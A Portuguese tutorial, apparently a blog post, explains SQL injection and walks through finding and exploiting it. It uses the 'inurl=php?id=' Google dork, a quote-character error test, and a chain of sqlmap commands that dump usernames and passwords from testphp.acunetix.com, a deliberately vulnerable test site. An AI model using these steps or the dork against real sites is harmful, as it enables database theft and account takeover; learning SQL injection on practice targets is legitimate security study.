Uma das falhas mais preocupantes no mundo da informática existentes até hoje, é a falha conhecida como sql injection, o sql injection é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entradas de dados de uma aplicação.
Nesta postagem mostrarei como identificar essa falha de modo simples e como explora-la, vale lembrar que usarei um site vulneravel de propósito, porem no google podemos pesquisar através das dorks do google hacking conforme imagem abaixo
Ao digitarmos no google "inurl=php?id=", temos diversos sites vulneráveis, porem neste exemplo usei no google a dork site que é para filtrar um site especifico, no caso o www.vulnweb.com.
Ao digitarmos no site em search art a palavra "test", na barra de endereço temos testphp.acunetix.com/search.php?test=query, com isso podemos simplesmente inserir o caractere ' após a palavra query, caso de erro, significa que o site é vulnerável a sql injection
Repare que deu erro ou seja, o site possui a falha, sendo assim iremos explorar com a ferramenta sqlmap, que é uma ferramenta escrita em python para testes de sql injection, para isso digitamos o comando python sqlmap -u <site a ser testado> --dbs para que possamos listar os bancos de dados disponiveis
Ao realizar o teste, temos 2 bancos de dados neste exemplo iremos usar o banco acuart
Após localizarmos o banco que iremos conectar, precisamos localizar as tabelas referente a esse banco, para isso o comando ficará assim python sqlmap.py -u http://testphp.acunetix.com/search.php?test=query -D acuart --tables
Temos no exemplo acima 8 tabelas, porem a que nos interessa é apenas a tabela users, com isso o comando ficará python sqlmap.py -u http://testphp.acunetix.com/search.php?test=query -D acuart -T users --columns
Ao escolher a tabela users, temos 8 colunas, nesse caso iremos visualizar os dados das colunas name e pass, com isso o comando ficará python sqlmap.py -u http://testphp.acunetix.com/search.php?test=query -D acuart -T users -C name, pass --dump
Pronto, conseguimos o usuário e a senha que no caso é john o usuário e a senha é test, basta apenas efetuar o login como administrador no site usando esses dados.
Abraços